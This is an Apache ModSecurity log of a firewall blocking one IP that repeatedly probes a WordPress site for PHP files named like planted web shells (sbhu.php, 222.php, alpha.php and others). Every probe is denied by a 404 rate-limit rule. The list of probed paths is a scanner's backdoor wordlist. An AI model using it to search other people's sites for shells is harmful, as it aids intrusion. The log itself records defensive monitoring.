[Fri Apr 10 23:31:42.628564 2026] [:error] [pid 13189:tid 13199] [client 158.158.53.142:49559] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adkX3pAxiJKPums3eBAN1wAAAEc"]
[Fri Apr 10 23:31:43.483010 2026] [:error] [pid 13189:tid 13196] [client 158.158.53.142:7786] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adkX35AxiJKPums3eBAN2QAAAEQ"]
[Fri Apr 10 23:31:44.267064 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:49526] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adkX4MWsSnfLoB8ifjDFOgAAAlE"]
[Fri Apr 10 23:31:44.770916 2026] [:error] [pid 62769:tid 62780] [client 158.158.53.142:51516] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adkX4MWsSnfLoB8ifjDFPQAAAkk"]
[Fri Apr 10 23:31:45.282443 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:49598] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adkX4cWsSnfLoB8ifjDFQwAAAko"]
[Fri Apr 10 23:31:45.866138 2026] [:error] [pid 13100:tid 13117] [client 158.158.53.142:8149] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adkX4Vzg-ZkZ0InWIP3SpAAAAQw"]
[Fri Apr 10 23:31:46.497794 2026] [:error] [pid 62884:tid 62913] [client 158.158.53.142:51491] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adkX4uUCK1xrhnnmpo2b4AAAAtY"]
[Fri Apr 10 23:31:47.150622 2026] [:error] [pid 62769:tid 62779] [client 158.158.53.142:49473] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adkX48WsSnfLoB8ifjDFSQAAAkg"]
[Fri Apr 10 23:31:47.975058 2026] [:error] [pid 62769:tid 62782] [client 158.158.53.142:48845] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adkX48WsSnfLoB8ifjDFUQAAAks"]
[Fri Apr 10 23:31:48.742535 2026] [:error] [pid 13189:tid 13198] [client 158.158.53.142:49589] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkX5JAxiJKPums3eBAN4gAAAEY"]
[Fri Apr 10 23:31:50.063704 2026] [:error] [pid 63134:tid 63154] [client 158.158.53.142:49520] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkX5tFALqPDwWi6eJLLPAAAA9E"]
[Fri Apr 10 23:31:50.667566 2026] [:error] [pid 63062:tid 63083] [client 158.158.53.142:52064] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkX5p2HtsmV85NqkMcSNgAAA5M"]
[Fri Apr 10 23:31:51.273622 2026] [:error] [pid 62710:tid 62735] [client 158.158.53.142:51519] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adkX5-ME7qrf5xEWWJtImwAAAhY"]
[Fri Apr 10 23:31:51.855403 2026] [:error] [pid 63134:tid 63142] [client 158.158.53.142:52151] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkX59FALqPDwWi6eJLLSAAAA8U"]
[Fri Apr 10 23:31:52.415017 2026] [:error] [pid 13189:tid 13196] [client 158.158.53.142:48955] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkX6JAxiJKPums3eBAN7gAAAEQ"]
[Fri Apr 10 23:31:52.935632 2026] [:error] [pid 13189:tid 13210] [client 158.158.53.142:7886] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkX6JAxiJKPums3eBAN8wAAAFI"]
[Fri Apr 10 23:31:53.440173 2026] [:error] [pid 63134:tid 63151] [client 158.158.53.142:49551] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkX6dFALqPDwWi6eJLLTwAAA84"]
[Fri Apr 10 23:31:53.993457 2026] [:error] [pid 63062:tid 63064] [client 158.158.53.142:48917] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX6Z2HtsmV85NqkMcSPQAAA4A"]
[Fri Apr 10 23:31:54.471056 2026] [:error] [pid 63062:tid 63072] [client 158.158.53.142:50159] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX6p2HtsmV85NqkMcSQQAAA4g"]
[Fri Apr 10 23:31:54.970534 2026] [:error] [pid 62769:tid 62782] [client 158.158.53.142:50113] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX6sWsSnfLoB8ifjDFZQAAAks"]
[Fri Apr 10 23:31:55.457086 2026] [:error] [pid 62769:tid 62794] [client 158.158.53.142:51469] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX68WsSnfLoB8ifjDFagAAAlc"]
[Fri Apr 10 23:31:55.933416 2026] [:error] [pid 13189:tid 13206] [client 158.158.53.142:49571] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adkX65AxiJKPums3eBAN_AAAAE4"]
[Fri Apr 10 23:31:56.415111 2026] [:error] [pid 13189:tid 13192] [client 158.158.53.142:8144] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adkX7JAxiJKPums3eBAN_gAAAEA"]
[Fri Apr 10 23:31:56.934666 2026] [:error] [pid 62710:tid 62737] [client 158.158.53.142:48925] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adkX7OME7qrf5xEWWJtIpQAAAhg"]
[Fri Apr 10 23:31:57.412917 2026] [:error] [pid 13101:tid 13134] [client 158.158.53.142:49514] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adkX7d8Ldw85818pj2oi0QAAAIE"]
[Fri Apr 10 23:31:58.090961 2026] [:error] [pid 62710:tid 62725] [client 158.158.53.142:48954] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adkX7uME7qrf5xEWWJtIpwAAAgw"]
[Fri Apr 10 23:31:58.689625 2026] [:error] [pid 62710:tid 62723] [client 158.158.53.142:48933] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adkX7uME7qrf5xEWWJtIqgAAAgo"]
[Fri Apr 10 23:31:59.198930 2026] [:error] [pid 13189:tid 13212] [client 158.158.53.142:50158] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adkX75AxiJKPums3eBAOBwAAAFQ"]
[Fri Apr 10 23:31:59.674036 2026] [:error] [pid 62819:tid 62832] [client 158.158.53.142:50148] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adkX7_U20EyPf7NlsleGpwAAAoo"]
[Fri Apr 10 23:32:00.149079 2026] [:error] [pid 63062:tid 63065] [client 158.158.53.142:49538] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX8J2HtsmV85NqkMcSUQAAA4E"]
[Fri Apr 10 23:32:00.631207 2026] [:error] [pid 63134:tid 63139] [client 158.158.53.142:50164] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX8NFALqPDwWi6eJLLaQAAA8I"]
[Fri Apr 10 23:32:01.140506 2026] [:error] [pid 63062:tid 63085] [client 158.158.53.142:7706] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX8Z2HtsmV85NqkMcSUwAAA5U"]
[Fri Apr 10 23:32:01.644782 2026] [:error] [pid 62651:tid 62675] [client 158.158.53.142:49475] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adkX8TbAH0le57SIaqw59wAAAdY"]
[Fri Apr 10 23:32:02.136279 2026] [:error] [pid 63062:tid 63079] [client 158.158.53.142:48870] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adkX8p2HtsmV85NqkMcSVwAAA48"]
[Fri Apr 10 23:32:02.618598 2026] [:error] [pid 13189:tid 13193] [client 158.158.53.142:7793] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adkX8pAxiJKPums3eBAOEgAAAEE"]
[Fri Apr 10 23:32:03.175407 2026] [:error] [pid 62769:tid 62778] [client 158.158.53.142:51503] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adkX88WsSnfLoB8ifjDFgAAAAkc"]
[Fri Apr 10 23:32:03.742170 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:48833] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adkX88WsSnfLoB8ifjDFhAAAAko"]
[Fri Apr 10 23:32:04.226494 2026] [:error] [pid 13101:tid 13139] [client 158.158.53.142:7897] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adkX9N8Ldw85818pj2oi4AAAAIY"]
[Fri Apr 10 23:32:04.818076 2026] [:error] [pid 13189:tid 13203] [client 158.158.53.142:7924] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adkX9JAxiJKPums3eBAOFgAAAEs"]
[Fri Apr 10 23:32:05.499630 2026] [:error] [pid 62884:tid 62897] [client 158.158.53.142:48944] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adkX9eUCK1xrhnnmpo2b6QAAAsY"]
[Fri Apr 10 23:32:06.007746 2026] [:error] [pid 62884:tid 62903] [client 158.158.53.142:7931] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adkX9uUCK1xrhnnmpo2b6gAAAsw"]
[Fri Apr 10 23:32:06.538865 2026] [:error] [pid 62884:tid 62914] [client 158.158.53.142:50135] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adkX9uUCK1xrhnnmpo2b7AAAAtc"]
[Fri Apr 10 23:32:07.021378 2026] [:error] [pid 63062:tid 63079] [client 158.158.53.142:49595] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adkX952HtsmV85NqkMcSZAAAA48"]
[Fri Apr 10 23:32:07.501779 2026] [:error] [pid 63062:tid 63084] [client 158.158.53.142:7910] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adkX952HtsmV85NqkMcSaQAAA5Q"]
[Fri Apr 10 23:32:08.286460 2026] [:error] [pid 62884:tid 62907] [client 158.158.53.142:51496] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adkX-OUCK1xrhnnmpo2b8QAAAtA"]
[Fri Apr 10 23:32:08.781129 2026] [:error] [pid 13101:tid 13157] [client 158.158.53.142:52130] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkX-N8Ldw85818pj2oi5QAAAJg"]
[Fri Apr 10 23:32:09.378723 2026] [:error] [pid 62710:tid 62730] [client 158.158.53.142:48922] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkX-eME7qrf5xEWWJtItwAAAhE"]
[Fri Apr 10 23:32:09.923436 2026] [:error] [pid 13101:tid 13133] [client 158.158.53.142:52146] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkX-d8Ldw85818pj2oi6gAAAIA"]
[Fri Apr 10 23:32:10.467277 2026] [:error] [pid 63062:tid 63076] [client 158.158.53.142:50136] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkX-p2HtsmV85NqkMcSbQAAA4w"]
[Fri Apr 10 23:32:11.080564 2026] [:error] [pid 62651:tid 62656] [client 158.158.53.142:49534] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adkX-zbAH0le57SIaqw5-QAAAcM"]
[Fri Apr 10 23:32:11.860077 2026] [:error] [pid 62710:tid 62720] [client 158.158.53.142:50116] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adkX--ME7qrf5xEWWJtIugAAAgc"]
[Fri Apr 10 23:32:12.422555 2026] [:error] [pid 62884:tid 62905] [client 158.158.53.142:49592] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adkX_OUCK1xrhnnmpo2b9AAAAs4"]
[Fri Apr 10 23:32:13.175079 2026] [:error] [pid 13189:tid 13205] [client 158.158.53.142:52103] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adkX_ZAxiJKPums3eBAOKwAAAE0"]
[Fri Apr 10 23:32:13.662288 2026] [:error] [pid 13189:tid 13215] [client 158.158.53.142:51473] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adkX_ZAxiJKPums3eBAOLAAAAFc"]
[Fri Apr 10 23:32:14.334619 2026] [:error] [pid 63134:tid 63145] [client 158.158.53.142:48849] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adkX_tFALqPDwWi6eJLLoAAAA8g"]
[Fri Apr 10 23:32:14.922846 2026] [:error] [pid 62769:tid 62772] [client 158.158.53.142:8026] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adkX_sWsSnfLoB8ifjDFmAAAAkE"]
